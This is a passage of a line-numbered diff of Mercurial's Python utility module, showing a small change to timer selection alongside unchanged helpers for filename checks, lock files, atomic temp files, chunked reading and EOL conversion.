2034 2034 b"filename contains '%s', which is reserved "
2035 2035 b"on Windows"
2036 2036 )
2037 2037 % c
2038 2038 )
2039 2039 if ord(c) <= 31:
2040 2040 return _(
2041 2041 b"filename contains '%s', which is invalid on Windows"
2042 2042 ) % stringutil.escapestr(c)
2043 2043 base = n.split(b'.')[0]
2044 2044 if base and base.lower() in _winreservednames:
2045 2045 return (
2046 2046 _(b"filename contains '%s', which is reserved on Windows")
2047 2047 % base
2048 2048 )
2049 2049 t = n[-1:]
2050 2050 if t in b'. ' and n not in b'..':
2051 2051 return (
2052 2052 _(
2053 2053 b"filename ends with '%s', which is not allowed "
2054 2054 b"on Windows"
2055 2055 )
2056 2056 % t
2057 2057 )
2058 2058
2059 2059
2060 timer = getattr(time, "perf_counter", None)
2061
2060 2062 if pycompat.iswindows:
2061 2063 checkosfilename = checkwinfilename
2062 timer = time.clock
2064 if not timer:
2065 timer = time.clock
2063 2066 else:
2064 2067 # mercurial.windows doesn't have platform.checkosfilename
2065 2068 checkosfilename = platform.checkosfilename # pytype: disable=module-attr
2066 timer = time.time
2067
2068 if safehasattr(time, "perf_counter"):
2069 timer = time.perf_counter
2069 if not timer:
2070 timer = time.time
2070 2071
2071 2072
2072 2073 def makelock(info, pathname):
2073 2074 """Create a lock file atomically if possible
2074 2075
2075 2076 This may leave a stale lock file if symlink isn't supported and signal
2076 2077 interrupt is enabled.
2077 2078 """
2078 2079 try:
2079 2080 return os.symlink(info, pathname)
2080 2081 except OSError as why:
2081 2082 if why.errno == errno.EEXIST:
2082 2083 raise
2083 2084 except AttributeError: # no symlink in os
2084 2085 pass
2085 2086
2086 2087 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2087 2088 ld = os.open(pathname, flags)
2088 2089 os.write(ld, info)
2089 2090 os.close(ld)
2090 2091
2091 2092
2092 2093 def readlock(pathname):
2093 2094 try:
2094 2095 return readlink(pathname)
2095 2096 except OSError as why:
2096 2097 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2097 2098 raise
2098 2099 except AttributeError: # no symlink in os
2099 2100 pass
2100 2101 with posixfile(pathname, b'rb') as fp:
2101 2102 return fp.read()
2102 2103
2103 2104
2104 2105 def fstat(fp):
2105 2106 '''stat file object that may not have fileno method.'''
2106 2107 try:
2107 2108 return os.fstat(fp.fileno())
2108 2109 except AttributeError:
2109 2110 return os.stat(fp.name)
2110 2111
2111 2112
2112 2113 # File system features
2113 2114
2114 2115
2115 2116 def fscasesensitive(path):
2116 2117 """
2117 2118 Return true if the given path is on a case-sensitive filesystem
2118 2119
2119 2120 Requires a path (like /foo/.hg) ending with a foldable final
2120 2121 directory component.
2121 2122 """
2122 2123 s1 = os.lstat(path)
2123 2124 d, b = os.path.split(path)
2124 2125 b2 = b.upper()
2125 2126 if b == b2:
2126 2127 b2 = b.lower()
2127 2128 if b == b2:
2128 2129 return True # no evidence against case sensitivity
2129 2130 p2 = os.path.join(d, b2)
2130 2131 try:
2131 2132 s2 = os.lstat(p2)
2132 2133 if s2 == s1:
2133 2134 return False
2134 2135 return True
2135 2136 except OSError:
2136 2137 return True
2137 2138
2138 2139
2139 2140 try:
2140 2141 import re2 # pytype: disable=import-error
2141 2142
2142 2143 _re2 = None
2143 2144 except ImportError:
2144 2145 _re2 = False
2145 2146
2146 2147
2147 2148 class _re(object):
2148 2149 def _checkre2(self):
2149 2150 global _re2
2150 2151 try:
2151 2152 # check if match works, see issue3964
2152 2153 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
2153 2154 except ImportError:
2154 2155 _re2 = False
2155 2156
2156 2157 def compile(self, pat, flags=0):
2157 2158 '''Compile a regular expression, using re2 if possible
2158 2159
2159 2160 For best performance, use only re2-compatible regexp features. The
2160 2161 only flags from the re module that are re2-compatible are
2161 2162 IGNORECASE and MULTILINE.'''
2162 2163 if _re2 is None:
2163 2164 self._checkre2()
2164 2165 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2165 2166 if flags & remod.IGNORECASE:
2166 2167 pat = b'(?i)' + pat
2167 2168 if flags & remod.MULTILINE:
2168 2169 pat = b'(?m)' + pat
2169 2170 try:
2170 2171 return re2.compile(pat)
2171 2172 except re2.error:
2172 2173 pass
2173 2174 return remod.compile(pat, flags)
2174 2175
2175 2176 @propertycache
2176 2177 def escape(self):
2177 2178 '''Return the version of escape corresponding to self.compile.
2178 2179
2179 2180 This is imperfect because whether re2 or re is used for a particular
2180 2181 function depends on the flags, etc, but it's the best we can do.
2181 2182 '''
2182 2183 global _re2
2183 2184 if _re2 is None:
2184 2185 self._checkre2()
2185 2186 if _re2:
2186 2187 return re2.escape
2187 2188 else:
2188 2189 return remod.escape
2189 2190
2190 2191
2191 2192 re = _re()
2192 2193
2193 2194 _fspathcache = {}
2194 2195
2195 2196
2196 2197 def fspath(name, root):
2197 2198 '''Get name in the case stored in the filesystem
2198 2199
2199 2200 The name should be relative to root, and be normcase-ed for efficiency.
2200 2201
2201 2202 Note that this function is unnecessary, and should not be
2202 2203 called, for case-sensitive filesystems (simply because it's expensive).
2203 2204
2204 2205 The root should be normcase-ed, too.
2205 2206 '''
2206 2207
2207 2208 def _makefspathcacheentry(dir):
2208 2209 return dict((normcase(n), n) for n in os.listdir(dir))
2209 2210
2210 2211 seps = pycompat.ossep
2211 2212 if pycompat.osaltsep:
2212 2213 seps = seps + pycompat.osaltsep
2213 2214 # Protect backslashes. This gets silly very quickly.
2214 2215 seps.replace(b'\\', b'\\\\')
2215 2216 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2216 2217 dir = os.path.normpath(root)
2217 2218 result = []
2218 2219 for part, sep in pattern.findall(name):
2219 2220 if sep:
2220 2221 result.append(sep)
2221 2222 continue
2222 2223
2223 2224 if dir not in _fspathcache:
2224 2225 _fspathcache[dir] = _makefspathcacheentry(dir)
2225 2226 contents = _fspathcache[dir]
2226 2227
2227 2228 found = contents.get(part)
2228 2229 if not found:
2229 2230 # retry "once per directory" per "dirstate.walk" which
2230 2231 # may take place for each patches of "hg qpush", for example
2231 2232 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2232 2233 found = contents.get(part)
2233 2234
2234 2235 result.append(found or part)
2235 2236 dir = os.path.join(dir, part)
2236 2237
2237 2238 return b''.join(result)
2238 2239
2239 2240
2240 2241 def checknlink(testfile):
2241 2242 '''check whether hardlink count reporting works properly'''
2242 2243
2243 2244 # testfile may be open, so we need a separate file for checking to
2244 2245 # work around issue2543 (or testfile may get lost on Samba shares)
2245 2246 f1, f2, fp = None, None, None
2246 2247 try:
2247 2248 fd, f1 = pycompat.mkstemp(
2248 2249 prefix=b'.%s-' % os.path.basename(testfile),
2249 2250 suffix=b'1~',
2250 2251 dir=os.path.dirname(testfile),
2251 2252 )
2252 2253 os.close(fd)
2253 2254 f2 = b'%s2~' % f1[:-2]
2254 2255
2255 2256 oslink(f1, f2)
2256 2257 # nlinks() may behave differently for files on Windows shares if
2257 2258 # the file is open.
2258 2259 fp = posixfile(f2)
2259 2260 return nlinks(f2) > 1
2260 2261 except OSError:
2261 2262 return False
2262 2263 finally:
2263 2264 if fp is not None:
2264 2265 fp.close()
2265 2266 for f in (f1, f2):
2266 2267 try:
2267 2268 if f is not None:
2268 2269 os.unlink(f)
2269 2270 except OSError:
2270 2271 pass
2271 2272
2272 2273
2273 2274 def endswithsep(path):
2274 2275 '''Check path ends with os.sep or os.altsep.'''
2275 2276 return (
2276 2277 path.endswith(pycompat.ossep)
2277 2278 or pycompat.osaltsep
2278 2279 and path.endswith(pycompat.osaltsep)
2279 2280 )
2280 2281
2281 2282
2282 2283 def splitpath(path):
2283 2284 '''Split path by os.sep.
2284 2285 Note that this function does not use os.altsep because this is
2285 2286 an alternative of simple "xxx.split(os.sep)".
2286 2287 It is recommended to use os.path.normpath() before using this
2287 2288 function if need.'''
2288 2289 return path.split(pycompat.ossep)
2289 2290
2290 2291
2291 2292 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2292 2293 """Create a temporary file with the same contents from name
2293 2294
2294 2295 The permission bits are copied from the original file.
2295 2296
2296 2297 If the temporary file is going to be truncated immediately, you
2297 2298 can use emptyok=True as an optimization.
2298 2299
2299 2300 Returns the name of the temporary file.
2300 2301 """
2301 2302 d, fn = os.path.split(name)
2302 2303 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2303 2304 os.close(fd)
2304 2305 # Temporary files are created with mode 0600, which is usually not
2305 2306 # what we want. If the original file already exists, just copy
2306 2307 # its mode. Otherwise, manually obey umask.
2307 2308 copymode(name, temp, createmode, enforcewritable)
2308 2309
2309 2310 if emptyok:
2310 2311 return temp
2311 2312 try:
2312 2313 try:
2313 2314 ifp = posixfile(name, b"rb")
2314 2315 except IOError as inst:
2315 2316 if inst.errno == errno.ENOENT:
2316 2317 return temp
2317 2318 if not getattr(inst, 'filename', None):
2318 2319 inst.filename = name
2319 2320 raise
2320 2321 ofp = posixfile(temp, b"wb")
2321 2322 for chunk in filechunkiter(ifp):
2322 2323 ofp.write(chunk)
2323 2324 ifp.close()
2324 2325 ofp.close()
2325 2326 except: # re-raises
2326 2327 try:
2327 2328 os.unlink(temp)
2328 2329 except OSError:
2329 2330 pass
2330 2331 raise
2331 2332 return temp
2332 2333
2333 2334
2334 2335 class filestat(object):
2335 2336 """help to exactly detect change of a file
2336 2337
2337 2338 'stat' attribute is result of 'os.stat()' if specified 'path'
2338 2339 exists. Otherwise, it is None. This can avoid preparative
2339 2340 'exists()' examination on client side of this class.
2340 2341 """
2341 2342
2342 2343 def __init__(self, stat):
2343 2344 self.stat = stat
2344 2345
2345 2346 @classmethod
2346 2347 def frompath(cls, path):
2347 2348 try:
2348 2349 stat = os.stat(path)
2349 2350 except OSError as err:
2350 2351 if err.errno != errno.ENOENT:
2351 2352 raise
2352 2353 stat = None
2353 2354 return cls(stat)
2354 2355
2355 2356 @classmethod
2356 2357 def fromfp(cls, fp):
2357 2358 stat = os.fstat(fp.fileno())
2358 2359 return cls(stat)
2359 2360
2360 2361 __hash__ = object.__hash__
2361 2362
2362 2363 def __eq__(self, old):
2363 2364 try:
2364 2365 # if ambiguity between stat of new and old file is
2365 2366 # avoided, comparison of size, ctime and mtime is enough
2366 2367 # to exactly detect change of a file regardless of platform
2367 2368 return (
2368 2369 self.stat.st_size == old.stat.st_size
2369 2370 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2370 2371 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2371 2372 )
2372 2373 except AttributeError:
2373 2374 pass
2374 2375 try:
2375 2376 return self.stat is None and old.stat is None
2376 2377 except AttributeError:
2377 2378 return False
2378 2379
2379 2380 def isambig(self, old):
2380 2381 """Examine whether new (= self) stat is ambiguous against old one
2381 2382
2382 2383 "S[N]" below means stat of a file at N-th change:
2383 2384
2384 2385 - S[n-1].ctime < S[n].ctime: can detect change of a file
2385 2386 - S[n-1].ctime == S[n].ctime
2386 2387 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2387 2388 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2388 2389 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2389 2390 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2390 2391
2391 2392 Case (*2) above means that a file was changed twice or more at
2392 2393 same time in sec (= S[n-1].ctime), and comparison of timestamp
2393 2394 is ambiguous.
2394 2395
2395 2396 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2396 2397 timestamp is ambiguous".
2397 2398
2398 2399 But advancing mtime only in case (*2) doesn't work as
2399 2400 expected, because naturally advanced S[n].mtime in case (*1)
2400 2401 might be equal to manually advanced S[n-1 or earlier].mtime.
2401 2402
2402 2403 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2403 2404 treated as ambiguous regardless of mtime, to avoid overlooking
2404 2405 by confliction between such mtime.
2405 2406
2406 2407 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2407 2408 S[n].mtime", even if size of a file isn't changed.
2408 2409 """
2409 2410 try:
2410 2411 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2411 2412 except AttributeError:
2412 2413 return False
2413 2414
2414 2415 def avoidambig(self, path, old):
2415 2416 """Change file stat of specified path to avoid ambiguity
2416 2417
2417 2418 'old' should be previous filestat of 'path'.
2418 2419
2419 2420 This skips avoiding ambiguity, if a process doesn't have
2420 2421 appropriate privileges for 'path'. This returns False in this
2421 2422 case.
2422 2423
2423 2424 Otherwise, this returns True, as "ambiguity is avoided".
2424 2425 """
2425 2426 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2426 2427 try:
2427 2428 os.utime(path, (advanced, advanced))
2428 2429 except OSError as inst:
2429 2430 if inst.errno == errno.EPERM:
2430 2431 # utime() on the file created by another user causes EPERM,
2431 2432 # if a process doesn't have appropriate privileges
2432 2433 return False
2433 2434 raise
2434 2435 return True
2435 2436
2436 2437 def __ne__(self, other):
2437 2438 return not self == other
2438 2439
2439 2440
2440 2441 class atomictempfile(object):
2441 2442 '''writable file object that atomically updates a file
2442 2443
2443 2444 All writes will go to a temporary copy of the original file. Call
2444 2445 close() when you are done writing, and atomictempfile will rename
2445 2446 the temporary copy to the original name, making the changes
2446 2447 visible. If the object is destroyed without being closed, all your
2447 2448 writes are discarded.
2448 2449
2449 2450 checkambig argument of constructor is used with filestat, and is
2450 2451 useful only if target file is guarded by any lock (e.g. repo.lock
2451 2452 or repo.wlock).
2452 2453 '''
2453 2454
2454 2455 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
2455 2456 self.__name = name # permanent name
2456 2457 self._tempname = mktempcopy(
2457 2458 name,
2458 2459 emptyok=(b'w' in mode),
2459 2460 createmode=createmode,
2460 2461 enforcewritable=(b'w' in mode),
2461 2462 )
2462 2463
2463 2464 self._fp = posixfile(self._tempname, mode)
2464 2465 self._checkambig = checkambig
2465 2466
2466 2467 # delegated methods
2467 2468 self.read = self._fp.read
2468 2469 self.write = self._fp.write
2469 2470 self.seek = self._fp.seek
2470 2471 self.tell = self._fp.tell
2471 2472 self.fileno = self._fp.fileno
2472 2473
2473 2474 def close(self):
2474 2475 if not self._fp.closed:
2475 2476 self._fp.close()
2476 2477 filename = localpath(self.__name)
2477 2478 oldstat = self._checkambig and filestat.frompath(filename)
2478 2479 if oldstat and oldstat.stat:
2479 2480 rename(self._tempname, filename)
2480 2481 newstat = filestat.frompath(filename)
2481 2482 if newstat.isambig(oldstat):
2482 2483 # stat of changed file is ambiguous to original one
2483 2484 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
2484 2485 os.utime(filename, (advanced, advanced))
2485 2486 else:
2486 2487 rename(self._tempname, filename)
2487 2488
2488 2489 def discard(self):
2489 2490 if not self._fp.closed:
2490 2491 try:
2491 2492 os.unlink(self._tempname)
2492 2493 except OSError:
2493 2494 pass
2494 2495 self._fp.close()
2495 2496
2496 2497 def __del__(self):
2497 2498 if safehasattr(self, '_fp'): # constructor actually did something
2498 2499 self.discard()
2499 2500
2500 2501 def __enter__(self):
2501 2502 return self
2502 2503
2503 2504 def __exit__(self, exctype, excvalue, traceback):
2504 2505 if exctype is not None:
2505 2506 self.discard()
2506 2507 else:
2507 2508 self.close()
2508 2509
2509 2510
2510 2511 def unlinkpath(f, ignoremissing=False, rmdir=True):
2511 2512 """unlink and remove the directory if it is empty"""
2512 2513 if ignoremissing:
2513 2514 tryunlink(f)
2514 2515 else:
2515 2516 unlink(f)
2516 2517 if rmdir:
2517 2518 # try removing directories that might now be empty
2518 2519 try:
2519 2520 removedirs(os.path.dirname(f))
2520 2521 except OSError:
2521 2522 pass
2522 2523
2523 2524
2524 2525 def tryunlink(f):
2525 2526 """Attempt to remove a file, ignoring ENOENT errors."""
2526 2527 try:
2527 2528 unlink(f)
2528 2529 except OSError as e:
2529 2530 if e.errno != errno.ENOENT:
2530 2531 raise
2531 2532
2532 2533
2533 2534 def makedirs(name, mode=None, notindexed=False):
2534 2535 """recursive directory creation with parent mode inheritance
2535 2536
2536 2537 Newly created directories are marked as "not to be indexed by
2537 2538 the content indexing service", if ``notindexed`` is specified
2538 2539 for "write" mode access.
2539 2540 """
2540 2541 try:
2541 2542 makedir(name, notindexed)
2542 2543 except OSError as err:
2543 2544 if err.errno == errno.EEXIST:
2544 2545 return
2545 2546 if err.errno != errno.ENOENT or not name:
2546 2547 raise
2547 2548 parent = os.path.dirname(os.path.abspath(name))
2548 2549 if parent == name:
2549 2550 raise
2550 2551 makedirs(parent, mode, notindexed)
2551 2552 try:
2552 2553 makedir(name, notindexed)
2553 2554 except OSError as err:
2554 2555 # Catch EEXIST to handle races
2555 2556 if err.errno == errno.EEXIST:
2556 2557 return
2557 2558 raise
2558 2559 if mode is not None:
2559 2560 os.chmod(name, mode)
2560 2561
2561 2562
2562 2563 def readfile(path):
2563 2564 with open(path, b'rb') as fp:
2564 2565 return fp.read()
2565 2566
2566 2567
2567 2568 def writefile(path, text):
2568 2569 with open(path, b'wb') as fp:
2569 2570 fp.write(text)
2570 2571
2571 2572
2572 2573 def appendfile(path, text):
2573 2574 with open(path, b'ab') as fp:
2574 2575 fp.write(text)
2575 2576
2576 2577
2577 2578 class chunkbuffer(object):
2578 2579 """Allow arbitrary sized chunks of data to be efficiently read from an
2579 2580 iterator over chunks of arbitrary size."""
2580 2581
2581 2582 def __init__(self, in_iter):
2582 2583 """in_iter is the iterator that's iterating over the input chunks."""
2583 2584
2584 2585 def splitbig(chunks):
2585 2586 for chunk in chunks:
2586 2587 if len(chunk) > 2 ** 20:
2587 2588 pos = 0
2588 2589 while pos < len(chunk):
2589 2590 end = pos + 2 ** 18
2590 2591 yield chunk[pos:end]
2591 2592 pos = end
2592 2593 else:
2593 2594 yield chunk
2594 2595
2595 2596 self.iter = splitbig(in_iter)
2596 2597 self._queue = collections.deque()
2597 2598 self._chunkoffset = 0
2598 2599
2599 2600 def read(self, l=None):
2600 2601 """Read L bytes of data from the iterator of chunks of data.
2601 2602 Returns less than L bytes if the iterator runs dry.
2602 2603
2603 2604 If size parameter is omitted, read everything"""
2604 2605 if l is None:
2605 2606 return b''.join(self.iter)
2606 2607
2607 2608 left = l
2608 2609 buf = []
2609 2610 queue = self._queue
2610 2611 while left > 0:
2611 2612 # refill the queue
2612 2613 if not queue:
2613 2614 target = 2 ** 18
2614 2615 for chunk in self.iter:
2615 2616 queue.append(chunk)
2616 2617 target -= len(chunk)
2617 2618 if target <= 0:
2618 2619 break
2619 2620 if not queue:
2620 2621 break
2621 2622
2622 2623 # The easy way to do this would be to queue.popleft(), modify the
2623 2624 # chunk (if necessary), then queue.appendleft(). However, for cases
2624 2625 # where we read partial chunk content, this incurs 2 dequeue
2625 2626 # mutations and creates a new str for the remaining chunk in the
2626 2627 # queue. Our code below avoids this overhead.
2627 2628
2628 2629 chunk = queue[0]
2629 2630 chunkl = len(chunk)
2630 2631 offset = self._chunkoffset
2631 2632
2632 2633 # Use full chunk.
2633 2634 if offset == 0 and left >= chunkl:
2634 2635 left -= chunkl
2635 2636 queue.popleft()
2636 2637 buf.append(chunk)
2637 2638 # self._chunkoffset remains at 0.
2638 2639 continue
2639 2640
2640 2641 chunkremaining = chunkl - offset
2641 2642
2642 2643 # Use all of unconsumed part of chunk.
2643 2644 if left >= chunkremaining:
2644 2645 left -= chunkremaining
2645 2646 queue.popleft()
2646 2647 # offset == 0 is enabled by block above, so this won't merely
2647 2648 # copy via ``chunk[0:]``.
2648 2649 buf.append(chunk[offset:])
2649 2650 self._chunkoffset = 0
2650 2651
2651 2652 # Partial chunk needed.
2652 2653 else:
2653 2654 buf.append(chunk[offset : offset + left])
2654 2655 self._chunkoffset += left
2655 2656 left -= chunkremaining
2656 2657
2657 2658 return b''.join(buf)
2658 2659
2659 2660
2660 2661 def filechunkiter(f, size=131072, limit=None):
2661 2662 """Create a generator that produces the data in the file size
2662 2663 (default 131072) bytes at a time, up to optional limit (default is
2663 2664 to read all data). Chunks may be less than size bytes if the
2664 2665 chunk is the last chunk in the file, or the file is a socket or
2665 2666 some other type of file that sometimes reads less data than is
2666 2667 requested."""
2667 2668 assert size >= 0
2668 2669 assert limit is None or limit >= 0
2669 2670 while True:
2670 2671 if limit is None:
2671 2672 nbytes = size
2672 2673 else:
2673 2674 nbytes = min(limit, size)
2674 2675 s = nbytes and f.read(nbytes)
2675 2676 if not s:
2676 2677 break
2677 2678 if limit:
2678 2679 limit -= len(s)
2679 2680 yield s
2680 2681
2681 2682
2682 2683 class cappedreader(object):
2683 2684 """A file object proxy that allows reading up to N bytes.
2684 2685
2685 2686 Given a source file object, instances of this type allow reading up to
2686 2687 N bytes from that source file object. Attempts to read past the allowed
2687 2688 limit are treated as EOF.
2688 2689
2689 2690 It is assumed that I/O is not performed on the original file object
2690 2691 in addition to I/O that is performed by this instance. If there is,
2691 2692 state tracking will get out of sync and unexpected results will ensue.
2692 2693 """
2693 2694
2694 2695 def __init__(self, fh, limit):
2695 2696 """Allow reading up to <limit> bytes from <fh>."""
2696 2697 self._fh = fh
2697 2698 self._left = limit
2698 2699
2699 2700 def read(self, n=-1):
2700 2701 if not self._left:
2701 2702 return b''
2702 2703
2703 2704 if n < 0:
2704 2705 n = self._left
2705 2706
2706 2707 data = self._fh.read(min(n, self._left))
2707 2708 self._left -= len(data)
2708 2709 assert self._left >= 0
2709 2710
2710 2711 return data
2711 2712
2712 2713 def readinto(self, b):
2713 2714 res = self.read(len(b))
2714 2715 if res is None:
2715 2716 return None
2716 2717
2717 2718 b[0 : len(res)] = res
2718 2719 return len(res)
2719 2720
2720 2721
2721 2722 def unitcountfn(*unittable):
2722 2723 '''return a function that renders a readable count of some quantity'''
2723 2724
2724 2725 def go(count):
2725 2726 for multiplier, divisor, format in unittable:
2726 2727 if abs(count) >= divisor * multiplier:
2727 2728 return format % (count / float(divisor))
2728 2729 return unittable[-1][2] % count
2729 2730
2730 2731 return go
2731 2732
2732 2733
2733 2734 def processlinerange(fromline, toline):
2734 2735 """Check that linerange <fromline>:<toline> makes sense and return a
2735 2736 0-based range.
2736 2737
2737 2738 >>> processlinerange(10, 20)
2738 2739 (9, 20)
2739 2740 >>> processlinerange(2, 1)
2740 2741 Traceback (most recent call last):
2741 2742 ...
2742 2743 ParseError: line range must be positive
2743 2744 >>> processlinerange(0, 5)
2744 2745 Traceback (most recent call last):
2745 2746 ...
2746 2747 ParseError: fromline must be strictly positive
2747 2748 """
2748 2749 if toline - fromline < 0:
2749 2750 raise error.ParseError(_(b"line range must be positive"))
2750 2751 if fromline < 1:
2751 2752 raise error.ParseError(_(b"fromline must be strictly positive"))
2752 2753 return fromline - 1, toline
2753 2754
2754 2755
2755 2756 bytecount = unitcountfn(
2756 2757 (100, 1 << 30, _(b'%.0f GB')),
2757 2758 (10, 1 << 30, _(b'%.1f GB')),
2758 2759 (1, 1 << 30, _(b'%.2f GB')),
2759 2760 (100, 1 << 20, _(b'%.0f MB')),
2760 2761 (10, 1 << 20, _(b'%.1f MB')),
2761 2762 (1, 1 << 20, _(b'%.2f MB')),
2762 2763 (100, 1 << 10, _(b'%.0f KB')),
2763 2764 (10, 1 << 10, _(b'%.1f KB')),
2764 2765 (1, 1 << 10, _(b'%.2f KB')),
2765 2766 (1, 1, _(b'%.0f bytes')),
2766 2767 )
2767 2768
2768 2769
2769 2770 class transformingwriter(object):
2770 2771 """Writable file wrapper to transform data by function"""
2771 2772
2772 2773 def __init__(self, fp, encode):
2773 2774 self._fp = fp
2774 2775 self._encode = encode
2775 2776
2776 2777 def close(self):
2777 2778 self._fp.close()
2778 2779
2779 2780 def flush(self):
2780 2781 self._fp.flush()
2781 2782
2782 2783 def write(self, data):
2783 2784 return self._fp.write(self._encode(data))
2784 2785
2785 2786
2786 2787 # Matches a single EOL which can either be a CRLF where repeated CR
2787 2788 # are removed or a LF. We do not care about old Macintosh files, so a
2788 2789 # stray CR is an error.
2789 2790 _eolre = remod.compile(br'\r*\n')
2790 2791
2791 2792
2792 2793 def tolf(s):
2793 2794 return _eolre.sub(b'\n', s)
2794 2795
2795 2796
2796 2797 def tocrlf(s):
2797 2798 return _eolre.sub(b'\r\n', s)
2798 2799
2799 2800
2800 2801 def _crlfwriter(fp):
2801 2802 return transformingwriter(fp, tocrlf)
2802 2803
2803 2804
2804 2805 if pycompat.oslinesep == b'\r\n':
2805 2806 tonativeeol = tocrlf
2806 2807 fromnativeeol = tolf
2807 2808 nativeeolwriter = _crlfwriter
2808 2809 else:
2809 2810 tonativeeol = pycompat.identity
2810 2811 fromnativeeol = pycompat.identity
2811 2812 nativeeolwriter = pycompat.identity
2812 2813
2813 2814 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
2814 2815 3,
2815 2816 0,
2816 2817 ):
2817 2818 # There is an issue in CPython that some IO methods do not handle EINTR
2818 2819 # correctly. The following table shows what CPython version (and functions)
2819 2820 # are affected (buggy: has the EINTR bug, okay: otherwise):
2820 2821 #
2821 2822 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2822 2823 # --------------------------------------------------
2823 2824 # fp.__iter__ | buggy | buggy | okay
2824 2825 # fp.read* | buggy | okay [1] | okay
2825 2826 #
2826 2827 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2827 2828 #
2828 2829 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2829 2830 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2830 2831 #
2831 2832 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2832 2833 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2833 2834 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2834 2835 # fp.__iter__ but not other fp.read* methods.
2835 2836 #
2836 2837 # On modern systems like Linux, the "read" syscall cannot be interrupted
2837 2838 # when reading "fast" files like on-disk files. So the EINTR issue only
2838 2839 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2839 2840 # files approximately as "fast" files and use the fast (unsafe) code path,
2840 2841 # to minimize the performance impact.
2841 2842 if sys.version_info >= (2, 7, 4):
2842 2843 # fp.readline deals with EINTR correctly, use it as a workaround.
2843 2844 def _safeiterfile(fp):
2844 2845 return iter(fp.readline, b'')
2845 2846
2846 2847 else:
2847 2848 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2848 2849 # note: this may block longer than necessary because of bufsize.
2849 2850 def _safeiterfile(fp, bufsize=4096):
2850 2851 fd = fp.fileno()
2851 2852 line = b''
2852 2853 while True:
2853 2854 try:
2854 2855 buf = os.read(fd, bufsize)
2855 2856 except OSError as ex:
2856 2857 # os.read only raises EINTR before any data is read
2857 2858 if ex.errno == errno.EINTR:
2858 2859 continue
2859 2860 else:
2860 2861 raise
2861 2862 line += buf
2862 2863 if b'\n' in buf:
2863 2864 splitted = line.splitlines(True)
2864 2865 line = b''
2865 2866 for l in splitted:
2866 2867 if l[-1] == b'\n':
2867 2868 yield l
2868 2869 else:
2869 2870 line = l
2870 2871 if not buf:
2871 2872 break
2872 2873 if line:
2873 2874 yield line
2874 2875
2875 2876 def iterfile(fp):
2876 2877 fastpath = True
2877 2878 if type(fp) is file:
2878 2879 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2879 2880 if fastpath:
2880 2881 return fp
2881 2882 else:
2882 2883 return _safeiterfile(fp)
2883 2884
2884 2885
2885 2886 else:
2886 2887 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2887 2888 def iterfile(fp):
2888 2889 return fp
2889 2890
2890 2891
2891 2892 def iterlines(iterator):
2892 2893 for chunk in iterator:
2893 2894 for line in chunk.splitlines():
2894 2895 yield line
2895 2896
2896 2897
2897 2898 def expandpath(path):
2898 2899 return os.path.expanduser(os.path.expandvars(path))
2899 2900
2900 2901
2901 2902 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2902 2903 """Return the result of interpolating items in the mapping into string s.
2903 2904
2904 2905 prefix is a single character string, or a two character string with
2905 2906 a backslash as the first character if the prefix needs to be escaped in
2906 2907 a regular expression.
2907 2908
2908 2909 fn is an optional function that will be applied to the replacement text
2909 2910 just before replacement.
2910 2911
2911 2912 escape_prefix is an optional flag that allows using doubled prefix for
2912 2913 its escaping.
2913 2914 """
2914 2915 fn = fn or (lambda s: s)
2915 2916 patterns = b'|'.join(mapping.keys())
2916 2917 if escape_prefix:
2917 2918 patterns += b'|' + prefix
2918 2919 if len(prefix) > 1:
2919 2920 prefix_char = prefix[1:]
2920 2921 else:
2921 2922 prefix_char = prefix
2922 2923 mapping[prefix_char] = prefix_char
2923 2924 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2924 2925 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2925 2926
2926 2927
2927 2928 def getport(port):
2928 2929 """Return the port for a given network service.
2929 2930
2930 2931 If port is an integer, it's returned as is. If it's a string, it's
2931 2932 looked up using socket.getservbyname(). If there's no matching
2932 2933 service, error.Abort is raised.
2933 2934 """
2934 2935 try:
2935 2936 return int(port)
2936 2937 except ValueError:
2937 2938 pass
2938 2939
2939 2940 try:
2940 2941 return socket.getservbyname(pycompat.sysstr(port))
2941 2942 except socket.error:
2942 2943 raise error.Abort(
2943 2944 _(b"no port number associated with service '%s'") % port
2944 2945 )
2945 2946
2946 2947
2947 2948 class url(object):
2948 2949 r"""Reliable URL parser.
2949 2950
2950 2951 This parses URLs and provides attributes for the following
2951 2952 components:
2952 2953
2953 2954 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2954 2955
2955 2956 Missing components are set to None. The only exception is
